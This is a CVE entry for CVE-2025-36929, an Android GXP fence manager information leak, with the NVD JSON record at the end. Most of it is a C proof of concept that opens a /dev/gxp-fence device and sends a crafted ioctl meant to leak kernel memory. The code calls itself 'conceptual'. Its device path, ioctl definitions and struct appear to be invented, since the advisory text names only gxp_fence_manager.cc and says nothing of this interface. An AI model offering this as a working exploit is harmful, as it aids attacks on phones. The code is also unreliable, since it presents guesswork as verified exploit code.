CVE-2025-36929

// CVE-2025-36929 PoC - Information Leak via GXP Fence Manager // This is a conceptual PoC demonstrating the vulnerability #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> // GXP Fence Manager IOCTL definitions #define GXP_FENCE_IOC_MAGIC 'G' #define GXP_FENCE_ARE_REGISTERED _IOR(GXP_FENCE_IOC_MAGIC, 0x01, struct fence_info) struct fence_info { uint32_t fence_id; uint64_t fence_ptr; uint32_t flags; }; int main(int argc, char *argv[]) { int fd; struct fence_info info; // Open GXP device node fd = open("/dev/gxp-fence", O_RDWR); if (fd < 0) { printf("[-] Failed to open GXP fence device\n"); return -1; } // Trigger information leak via improper input validation // in AreFencesRegistered function info.fence_id = 0xFFFFFFFF; // Invalid/malformed input info.fence_ptr = 0x0; // NULL pointer manipulation info.flags = 0x00; printf("[*] Triggering AreFencesRegistered with crafted input\n"); // This IOCTL call exploits improper input validation if (ioctl(fd, GXP_FENCE_ARE_REGISTERED, &info) == 0) { printf("[+] Fence info leaked: ptr=0x%lx, flags=0x%x\n", info.fence_ptr, info.flags); // Leaked data may contain sensitive kernel memory } close(fd); return 0; }

{"cve": {"id": "CVE-2025-36929", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:57.467", "lastModified": "2025-12-12T17:36:04.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In AreFencesRegistered of gxp_fence_manager.cc, there is a possible information leak due to improper input validation. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}